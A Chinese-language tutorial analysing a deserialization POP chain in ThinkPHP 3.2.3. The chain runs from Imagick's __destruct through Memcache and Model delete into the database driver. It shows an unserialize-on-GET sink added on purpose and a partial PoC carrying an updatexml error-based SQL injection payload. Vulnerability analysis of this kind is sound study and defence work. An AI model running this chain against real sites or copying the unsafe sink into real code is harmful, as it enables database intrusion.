Thinkphp3.2.3反序列化漏洞實例分析
前言
ThinkPHP,是為了簡化企業(yè)級應(yīng)用開發(fā)和敏捷WEB應(yīng)用開發(fā)而誕生的開源輕量級PHP框架。隨著框架代碼量的增加,一些潛在的威脅也逐漸暴露,本文給大家?guī)淼氖菍hinkphp3.2.3版本框架里面的反序列化漏洞進(jìn)行分析,淺談原理以及如何應(yīng)用。
魔術(shù)方法
因為之前已經(jīng)講過了,這里就簡單提一下,以下面這個魔術(shù)方法為例:
_destruct
該方法的作用是,某個對象的所有引用都被刪除或者當(dāng)對象被顯式銷毀時執(zhí)行。例如下面代碼:
<?php
class User{
public function __destruct()
{
echo "xino</br>";
}
}
$test = new User();
$ser = serialize($test);
unserialize($ser);
?>
執(zhí)行后會發(fā)現(xiàn)調(diào)用了魔術(shù)方法,我們要想辦法來尋找代碼之間的關(guān)系來構(gòu)造 反序列化鏈,常見魔術(shù)方法如下:

了解完魔術(shù)方法如何觸發(fā)后便開始我們TP3反序列化漏洞的學(xué)習(xí)之旅。
復(fù)現(xiàn)
這里我是用小皮面板搭建好環(huán)境后開始我們的分析,下面是主界面:

需要在控制器IndexController.class.php 處寫入:
public function index(){
unserialize(base64_decode($_GET[1]));
}
首先走到Library/Think/Image/Driver/Imagick.class.php ,代碼如下:
public function __destruct()
{
empty($this->img) || $this->img->destroy();
}
}
這里有一個可控的變量img,因為該變量走向了destory(),于是我們尋找一下:
Library/Think/Session/Driver/Memcache.class.php ,該處有個一樣的方法:
public function destroy($sessID)
{
return $this->handle->delete($this->sessionName . $sessID);
}
我們會發(fā)現(xiàn)handle和sessionName參數(shù)是可控,因為走向了delete函數(shù),于是繼續(xù)跟進(jìn)尋找delete,在Mode/Lite/Model.class.php 處:
public function delete($options = array())
{
$pk = $this->getPk();
if (empty($options) && empty($this->options['where'])) {
// 如果刪除條件為空 則刪除當(dāng)前數(shù)據(jù)對象所對應(yīng)的記錄
if (!empty($this->data) && isset($this->data[$pk])) {
return $this->delete($this->data[$pk]);
} else {
return false;
}
}
if (is_numeric($options) || is_string($options)) {
// 根據(jù)主鍵刪除記錄
if (strpos($options, ',')) {
$where[$pk] = array('IN', $options);
} else {
$where[$pk] = $options;
}
$options = array();
$options['where'] = $where;
}
// 根據(jù)復(fù)合主鍵刪除記錄
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) {
$count++;
}
}
if (count($pk) == $count) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 分析表達(dá)式
$options = $this->_parseOptions($options);
if (empty($options['where'])) {
// 如果條件為空 不進(jìn)行刪除操作 除非設(shè)置 1=1
return false;
}
if (is_array($options['where']) && isset($options['where'][$pk])) {
$pkValue = $options['where'][$pk];
}
if (false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options); //數(shù)據(jù)庫驅(qū)動類中的delete()
if (false !== $result && is_numeric($result)) {
$data = array();
if (isset($pkValue)) {
$data[$pk] = $pkValue;
}
$this->_after_delete($data, $options);
}
// 返回刪除記錄個數(shù)
return $result;
}
這里比較復(fù)雜,需要分析一下,pk,pk,pk,data,$options參數(shù)都是可控的,第二次調(diào)用該函數(shù)后是調(diào)用db(Library/Think/Db/Driver.class.php )里面的函數(shù),進(jìn)去看一下:
$table = $this->parseTable($options['table']); $sql = 'DELETE FROM ' . $table; return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
這里只貼了比較關(guān)鍵的代碼,看到table經(jīng)過parseTable處理之后進(jìn)了sql語句,跟進(jìn)了發(fā)現(xiàn)沒有過濾什么,直接返回了數(shù)據(jù),最后調(diào)用了execute,我們分析其代碼:
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '''.$that->escapeString($val).'''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
看到第二行是一個初始化連接的代碼,我們跟進(jìn)到最后發(fā)現(xiàn):
public function connect($config = '', $linkNum = 0, $autoConnection = false)
{
if (!isset($this->linkID[$linkNum])) {
if (empty($config)) {
$config = $this->config;
}
try {
if (empty($config['dsn'])) {
$config['dsn'] = $this->parseDsn($config);
}
if (version_compare(PHP_VERSION, '5.3.6', '<=')) {
// 禁用模擬預(yù)處理語句
$this->options[PDO::ATTR_EMULATE_PREPARES] = false;
}
$this->linkID[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $this->options);
} catch (\PDOException $e) {
if ($autoConnection) {
trace($e->getMessage(), '', 'ERR');
return $this->connect($autoConnection, $linkNum);
} elseif ($config['debug']) {
E($e->getMessage());
}
}
}
return $this->linkID[$linkNum];
}
可以通過里面的相應(yīng)代碼:
$this->config
建立數(shù)據(jù)庫連接,整個的POP鏈跟進(jìn)順序如下:
__destruct()->destroy()->delete()->Driver::delete()->Driver::execute()->Driver::initConnect()->Driver::connect()->
因為構(gòu)造poc較長,這里只貼關(guān)鍵處,有興趣的小伙伴可以自行去構(gòu)造:
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "name where 1=updatexml(1,user(),1)#",
"where" => "1=1"
); }
生成后傳入payload即可實現(xiàn)錯報注入,體現(xiàn)在payload里就是table這個語句,經(jīng)過一串的操作使之與數(shù)據(jù)庫連接來執(zhí)行sql語句:

結(jié)語
給大家?guī)砹藅p3的反序列化漏洞分析,主要還是要理清各個鏈的關(guān)系以及如何讓它們聯(lián)系起來,有興趣的小伙伴可以自己去搭建嘗試,喜歡本文的小伙伴希望可以一鍵三連支持一下。
以上就是Thinkphp3.2.3反序列化漏洞實例分析的詳細(xì)內(nèi)容,更多關(guān)于Thinkphp 反序列化漏洞的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
如何優(yōu)雅的使用 laravel 的 validator驗證方法
web 開發(fā)過程中經(jīng)常會需要進(jìn)行參數(shù)驗證,這篇文章主要介紹了如何優(yōu)雅的使用 laravel 的 validator驗證方法,非常具有實用價值,需要的朋友可以參考下2018-11-11
PHP設(shè)計模式之觀察者模式入門與應(yīng)用案例詳解
這篇文章主要介紹了PHP設(shè)計模式之觀察者模式入門與應(yīng)用,結(jié)合具體案例形式詳細(xì)分析了PHP觀察者模式的相關(guān)概念、原理、使用方法及操作注意事項,需要的朋友可以參考下2019-12-12
php多種形式發(fā)送郵件(mail qmail郵件系統(tǒng) phpmailer類)
這篇文章主要介紹了php多種形式發(fā)送郵件的方法,包括使用mail()函數(shù)、使用管道的形式、使用phpmailer類等方法,大家參考使用吧2014-01-01
PHP設(shè)計模式之迭代器模式Iterator實例分析【對象行為型】
這篇文章主要介紹了PHP設(shè)計模式之迭代器模式Iterator,結(jié)合實例形式分析了PHP迭代器模式Iterator相關(guān)概念、原理、實現(xiàn)方法與操作注意事項,需要的朋友可以參考下2020-04-04
php curl請求接口并獲取數(shù)據(jù)的示例代碼
本篇文章主要介紹了php curl請求接口并獲取數(shù)據(jù)的示例代碼,非常具有實用價值,需要的朋友可以參考下2017-08-08

